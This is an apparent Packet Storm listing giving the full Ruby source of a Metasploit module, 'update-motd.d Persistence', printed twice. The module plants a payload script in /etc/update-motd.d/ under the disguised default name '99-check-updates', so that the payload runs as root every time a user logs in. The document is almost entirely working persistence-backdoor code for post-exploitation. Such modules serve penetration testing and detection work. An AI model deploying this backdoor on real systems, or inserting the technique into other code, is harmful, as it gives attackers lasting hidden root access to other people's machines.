Description
This Metasploit module will...
Basic Information
ID
PACKETSTORM:208946
Published
Aug 28, 2025 at 00:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'update-motd.d Persistence',
'Description' => %q{
This module will add a script in /etc/update-motd.d/ in order to persist a payload.
The payload will be executed with root privileges everytime a user logs in.
},
'License' => MSF_LICENSE,
'Author' => [ 'Julien Voisin' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Notes' => {
'Stability' => [],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
]
)
)
register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ])
end
def exploit
update_path = '/etc/update-motd.d/'
unless exists? update_path
fail_with Failure::BadConfig, "#{update_path} doesn't exist"
end
unless writable? update_path
fail_with Failure::BadConfig, "#{update_path} is not writable"
end
backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME'])
if exists? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
end
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
chmod(backdoor_path, 0o755)
print_status "#{backdoor_path} written"
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'update-motd.d Persistence',
'Description' => %q{
This module will add a script in /etc/update-motd.d/ in order to persist a payload.
The payload will be executed with root privileges everytime a user logs in.
},
'License' => MSF_LICENSE,
'Author' => [ 'Julien Voisin' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Notes' => {
'Stability' => [],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
]
)
)
register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ])
end
def exploit
update_path = '/etc/update-motd.d/'
unless exists? update_path
fail_with Failure::BadConfig, "#{update_path} doesn't exist"
end
unless writable? update_path
fail_with Failure::BadConfig, "#{update_path} is not writable"
end
backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME'])
if exists? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
end
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
chmod(backdoor_path, 0o755)
print_status "#{backdoor_path} written"
end
end